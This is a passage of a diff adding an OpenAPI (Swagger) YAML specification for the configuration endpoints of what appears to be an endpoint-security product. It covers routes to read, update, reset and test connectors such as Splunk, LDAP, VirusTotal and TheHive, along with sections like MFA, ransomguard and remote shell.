+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/export_splunk/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_export_splunk_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExportSplunk'
+      tags:
+        - configuration
+    parameters: []
+  /config/export_splunk/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_export_splunk_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditExportSplunk'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/glimps/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_glimps_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_glimps_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditGlimps'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/glimps/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_glimps_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetGlimps'
+      tags:
+        - configuration
+    parameters: []
+  /config/glimps/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_glimps_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditGlimps'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/hibou/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_hibou_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_hibou_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Hibou'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/hibou/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_hibou_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Hibou'
+      tags:
+        - configuration
+    parameters: []
+  /config/irma/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_irma_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_irma_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditIrma'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/irma/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_irma_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetIrma'
+      tags:
+        - configuration
+    parameters: []
+  /config/irma/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_irma_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditIrma'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/ldap_auth/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_ldap_auth_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: config_ldap_auth_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - default: false
+          in: formData
+          name: use_tls
+          required: false
+          type: boolean
+        - in: formData
+          name: validate_server_certificate
+          required: true
+          type: boolean
+        - default: false
+          in: formData
+          name: use_client_side_certs
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: base_dn
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          name: active_directory_domain
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_username
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_password
+          required: false
+          type: string
+          x-nullable: true
+        - format: uuid
+          in: formData
+          name: default_group
+          required: false
+          type: string
+          x-nullable: true
+        - default: active_directory
+          in: formData
+          minLength: 1
+          name: type
+          required: false
+          type: string
+        - default: person
+          in: formData
+          minLength: 1
+          name: user_object_class
+          required: false
+          type: string
+        - default: sAMAccountName
+          in: formData
+          minLength: 1
+          name: user_field_id
+          required: false
+          type: string
+        - in: formData
+          name: client_public_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: client_private_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ca_certifications
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: test_username
+          required: false
+          type: string
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/ldap_auth/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: config_ldap_auth_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetLDAPAuth'
+      tags:
+        - configuration
+    parameters: []
+  /config/ldap_auth/test/:
+    parameters: []
+    post:
+      consumes:
+        - multipart/form-data
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_ldap_auth_test
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - default: false
+          in: formData
+          name: use_tls
+          required: false
+          type: boolean
+        - in: formData
+          name: validate_server_certificate
+          required: true
+          type: boolean
+        - default: false
+          in: formData
+          name: use_client_side_certs
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: base_dn
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          name: active_directory_domain
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_username
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          minLength: 1
+          name: search_account_password
+          required: false
+          type: string
+          x-nullable: true
+        - format: uuid
+          in: formData
+          name: default_group
+          required: false
+          type: string
+          x-nullable: true
+        - default: active_directory
+          in: formData
+          minLength: 1
+          name: type
+          required: false
+          type: string
+        - default: person
+          in: formData
+          minLength: 1
+          name: user_object_class
+          required: false
+          type: string
+        - default: sAMAccountName
+          in: formData
+          minLength: 1
+          name: user_field_id
+          required: false
+          type: string
+        - in: formData
+          name: client_public_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: client_private_key
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ca_certifications
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: test_username
+          required: false
+          type: string
+          x-nullable: true
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/mfa/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_mfa_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_mfa_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFA'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/mfa/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_mfa_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFA'
+      tags:
+        - configuration
+    parameters: []
+  /config/network_discovery/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_network_discovery_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_network_discovery_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/network_discovery/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_network_discovery_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetWDiscovery'
+      tags:
+        - configuration
+    parameters: []
+  /config/new_threat_aggregation/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_new_threat_aggregation_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_new_threat_aggregation_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/new_threat_aggregation/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_new_threat_aggregation_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      tags:
+        - configuration
+    parameters: []
+  /config/orion/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_orion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_orion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditOrion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/orion/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_orion_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      tags:
+        - configuration
+    parameters: []
+  /config/orion/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_orion_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditOrion'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/password_security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_password_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_password_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/password_security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_password_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      tags:
+        - configuration
+    parameters: []
+  /config/pdf_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_pdf_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_pdf_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/pdf_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_pdf_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      tags:
+        - configuration
+    parameters: []
+  /config/proxy/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_proxy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_proxy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditProxy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/proxy/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_proxy_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      tags:
+        - configuration
+    parameters: []
+  /config/proxy/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_proxy_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditProxy'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/ransomguard/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_ransomguard_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_ransomguard_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/ransomguard/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_ransomguard_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      tags:
+        - configuration
+    parameters: []
+  /config/ransomguard_heuristic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_ransomguard_heuristic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_ransomguard_heuristic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/ransomguard_heuristic/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_ransomguard_heuristic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      tags:
+        - configuration
+    parameters: []
+  /config/remote_shell/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_remote_shell_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_remote_shell_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/remote_shell/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_remote_shell_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      tags:
+        - configuration
+    parameters: []
+  /config/security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Security'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      tags:
+        - configuration
+    parameters: []
+  /config/sidewatch/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_sidewatch_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_sidewatch_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/sidewatch/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_sidewatch_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      tags:
+        - configuration
+    parameters: []
+  /config/telemetries/:
+    get:
+      description: ""
+      operationId: config_telemetries_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/TelemetryConfigResponse'
+        "400":
+          description: Bad request
+      tags:
+        - configuration
+    parameters: []
+  /config/thehive/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_thehive_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_thehive_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditThehive'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/thehive/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_thehive_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      tags:
+        - configuration
+    parameters: []
+  /config/thehive/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_thehive_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditThehive'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /config/threat_intelligence/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_threat_intelligence_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_threat_intelligence_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/threat_intelligence/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_threat_intelligence_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      tags:
+        - configuration
+    parameters: []
+  /config/threat_status_binding/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_threat_status_binding_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      summary: Get section configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_threat_status_binding_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - configuration
+  /config/threat_status_binding/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: config_threat_status_binding_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      tags:
+        - configuration
+    parameters: []
+  /config/virustotal/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: config_virustotal_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      summary: Get connector configuration
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: config_virustotal_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditVirusTotal'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - configuration
+  /config/virustotal/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: config_virustotal_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      tags:
+        - configuration
+    parameters: []
+  /config/virustotal/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: config_virustotal_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditVirusTotal'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - configuration
+  /configuration/:
+    get:
+      consumes:
+        - application/json
+        - application/yaml
+      description: ""
+      operationId: configuration_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AllConfigSectionDownload'
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Configuration field not present in the request are left untouched.
+      operationId: configuration_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AllConfigSectionDownload'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AllConfigSectionDownload'
+        "400":
+          description: Bad request
+      summary: Update the stored configuration with the given one.
+      tags:
+        - configuration
+    put:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Existing configuration is completely deleted before being replaced.
+      operationId: configuration_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AllConfigSectionDownload'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AllConfigSectionDownload'
+        "400":
+          description: Bad request
+      summary: Replace the stored configuration with the given one.
+      tags:
+        - configuration
+  /configuration/network_discovery:
+    get:
+      description: ""
+      operationId: configuration_network_discovery_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      tags:
+        - configuration
+    parameters: []
+    patch:
+      description: ""
+      operationId: configuration_network_discovery_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetworkDiscoveryConfig'
+      responses:
+        "200":
+          description: ""
+          schema:
